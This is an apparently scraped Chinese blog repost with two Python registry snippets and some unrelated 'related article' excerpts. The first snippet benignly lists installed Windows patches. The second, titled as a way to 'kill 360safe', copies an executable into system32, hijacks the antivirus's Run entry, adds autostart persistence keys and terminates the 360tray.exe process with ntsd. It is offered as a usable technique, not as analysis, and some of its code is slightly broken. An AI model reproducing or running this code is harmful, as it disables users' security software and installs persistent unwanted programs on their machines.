转 http://blog.chinaunix.net/uid-20357359-id-1963508.html

使用Python访问Windows的注册表

Python的标准库中,_winreg.pyd可以操作Windows的注册表,另外第三方的win32库封装了大量的Windows API,使用起来也很方便。不过这里介绍的是使用_winreg操作注册表,毕竟是Python自带的标准库,无需安装第三方库。

下面的例子是通过Python获取Windows XP下已经安装的补丁号。Windows的补丁号都在“HKEY_LOCAL_MACHINE\SOFTWARE\\Microsoft\\ Updates”下,通过循环下面所有的目录节点,如果找到的名称符合正则表达式KB(\d{6}).*,则表示是一个补丁号。

从例子可以看出操作起来非常的简单和快速。

# -*- coding: utf-8 -*-# 获取Windows的已打的补丁号from _winreg import *import re

def subRegKey(key, pattern, patchlist):    # 个数    count = QueryInfoKey(key)[0]    for index in range(count):        # 获取标题        name = EnumKey(key, index)        result = patch.match(name)        if result:            patchlist.append(result.group(1))        sub = OpenKey(key, name)        subRegKey(sub, pattern, patchlist)        CloseKey(sub)

if __name__ == ‘__main__‘:    patchlist = []    updates = ‘SOFTWARE\\Microsoft\\Updates‘    patch = re.compile(‘(KB\d{6}).*‘)    key = OpenKey(HKEY_LOCAL_MACHINE, updates)    subRegKey(key, patch, patchlist)    print ‘Count: ‘ + str(len(patchlist))    for p in patchlist:        print p    CloseKey(key)

http://tenyears.cn/index.php/2007/01/26/python-win-registry.html

用python修改注册表干掉360safe
import _winreg 
import os 
import shutil

#复制自身 
shutil.copyfile(‘K3.exe‘,‘c:\WINDOWS\system32\K3.exe‘)

#把360启动改为自身 
run = _winreg.OpenKey( 
      _winreg.HKEY_LOCAL_MACHINE, 
      "SOFTWARE\Microsoft\Windows\CurrentVersion\Run",0,_winreg.KEY_WRITE 
      )

_winreg.SetValueEx( 
      run,"360Safetray",0,_winreg.REG_SZ, 
      r"C:\WINDOWS\system32\k3.exe" 
      )

#添加自启动 
self = _winreg.OpenKey( 
      _winreg.HKEY_LOCAL_MACHINE, 
      "SOFTWARE\Microsoft\Windows\CurrentVersion\Run",0,_winreg.KEY_WRITE 
      )

_winreg.SetValueEx( 
      run,"k3",0,_winreg.REG_SZ, 
      r"C:\WINDOWS\system32\k3.exe" 
      ) 
#添加所有用户启动 
allrun = _winreg.OpenKey( 
      _winreg.HKEY_LOCAL_MACHINE, 
      "Microsoft\Windows\CurrentVersion\policies\Explorer\Run",0,_winreg.KEY_WRITE 
      ) 
_winreg.SetValueEx( 
      allrun,"k3",0,_winreg.REG_SZ, 
      r"C:\WINDOWS\system32\k3.exe" 
      )

#终止360进程 
os.popen("ntsd -c q -pn 360tray.exe cmd")

http://www.hacker.com.cn/article/view_13879.html

时间: 2024-10-07 16:20:25

转 http://blog.chinaunix.net/uid-20357359-id-1963508.html的相关文章

目前 完整的 Blog 在phanx.blog.chinaunix.net

正在从 ChinaUnix往 GitHub 上搬. 目前要查看完整的Blog,还是请访问 phanx.blog.chinaunix.net 新的Blog会发在 GitHub 上. http://www.phanx.com 可直接访问.

同步与异步的概念(转自http://blog.chinaunix.net/uid-21411227-id-1826898.html)

今天看到一篇博客介绍同步异步的,看的挺舒服的,转过来,谢谢原作者zhenhuaqin(http://blog.chinaunix.net/uid-21411227-id-1826898.html). 进程同步用来实现程序并发执行时候的可再现性. 一.进程同步及异步的概念 1.进程同步:就是在发出一个功能调用时,在没有得到结果之前,该调用就不返回.也就是必须一件一件事做,等前一件做完了才能做下一件事.就像早上起床后,先洗涮,然后才能吃饭,不能在洗涮没有完成时,就开始吃饭.按照这个定义,其实绝大多数

Linux下的Job Control(转:http://blog.chinaunix.net/uid-26495963-id-3062757.html)

一.Job的概念 Job是指在批处理的环境中,为完成某一任务而进行一系列操作的总称.在个人接触计算机的年代,批处理的环境已经不容见到了,只有一些特殊的行业和环境下还在使用这样的概念,仅在书本中接触过.在Linux下,可以简单的把Job理解为,一个或多个通过Pipe链接的命令及其运行所完成的任务.例如,我需要把当前的登录的用户信息,记录到名字为LoginUser的文件中,那么我可能回执行下面命令来完成:[email protected]:~$ who > LoginUser那们就可以把从命令的执行

(转)http://blog.chinaunix.net/uid-8363656-id-2031644.html CGI 编写

第一章:基础的基础 回CGI教程目录 1.1 为什么使用CGI?   我没有把什么是CGI放在基础篇的第一段,是因为实在很难说明白到底什么是CGI.而如果你先知道CGI有什么作用,将会很好的理解CGI是什么这个概念. CGI可以为我们提供许多HTML无法做到的功能.比如 a.一个记数器 b.顾客信息表格的提交以及统计 c.搜索程d.WEB数据库 用Html是没有办法记住客户的任何信息的,就算用户愿意让你知道.用Html也是无法把信息记录到某一个特定文件里的.要把客户段的信息记录在服务器的硬盘上,

SmartRF Flash Programmer 弹不出那个界面--转载http://blog.chinaunix.net/uid-24343357-id-3594874.html

SmartRF Flash Programmer 在我烧写几次HEX文件以后,老是缩在任务栏,你怎么点击,它都弹不出那个界面了,如下图,很郁闷的.我卸载一下,然后重装也不行.没有办法了,换了一台计算机,开始是好的,烧写几个hex以后,又出现同样的问题了,看来不是我计算机的问题了.怎么解决呢,打开任务管理器,按照下图操作. 点击最大化以后,界面是全屏,关闭,然后出现打开SmartRF Flash Programmer 就好了啊.莫名其妙的,软件有这样的问题,实在无话可说了.

llinux 定时器 转载自 http://blog.chinaunix.net/uid-11848011-id-96374.html

这篇文章主要记录我在试图解决如何尽可能精确地在某个特定的时间间隔执行某项具体任务时的思路历程,并在后期对相关的API进行的归纳和总结,以备参考. 问题引出 很多时候,我们会有类似“每隔多长时间执行某项任务”的需求,乍看这个问题并不难解决,实则并不容易,有很多隐含条件需要考虑,诸如:时间精度是多少?时间是否允许出现偏差,允许的偏差是多少,偏差之后如何处理?系统的负载如何?这个程序允许占用的系统资源是否有限制?这个程序运行的硬件平台如何? 为了便于分析,我们锁定题目为“每隔2妙打印当前的系统时间(距

foreach控件的运用(非原创)http://blog.chinaunix.net/uid-26884465-id-3416869.html

人们对从认识事物都有一个具体到抽象的过程,学习Jmeter也不例外,通过一个实例来进行学习,一方面可以让初学者有所见即所得的信心,另一方面,其实也是在初学者心中留下了对这事物的一个朦胧的印象,这在以后的学习中,会不断地被深化. 所以,下面我们不对Jmeter的任何部件做任何详细的说明,而是通过一个例子,让大家了解这个框架.   一 前期准备 首先,你要去官方那里下载Jmeter的压缩包,官方地址是http://jmeter.apache.org/,另外,你的系统要配置好java环境,笔者写这篇文

虚拟化代码博客

推荐网站和博客地址 --------------------------------   虚拟化代码博客 QEMU大牛博客:qemu - 韋任的維基百科 http://people.cs.nctu.edu.tw/~chenwj/dokuwiki/doku.php?id=qemu 白水煮鸡蛋 http://blog.csdn.net/hsly_support 很多转载的代码分析文章,但是有的有些过时 http://blog.chinaunix.net/uid/26000137.html OenHa

zabbix邮件监控配置

参考博客:http://blog.chinaunix.net/uid/26118446.html  小钻风                  http://www.iyunv.com/thread-61736-1-1.html 运维网论坛帖子 搭建好zabbix监控服务系统后,就是增加邮件报警功能,还是费了点时间,因为先是能发送到163邮箱,不能发送到QQ邮箱,后又是以附件的形式发送邮件,而不是直接显示其报警内容: 用163做的测试: 使用外部邮箱账号发送报警邮件设置 一.关闭sendmail或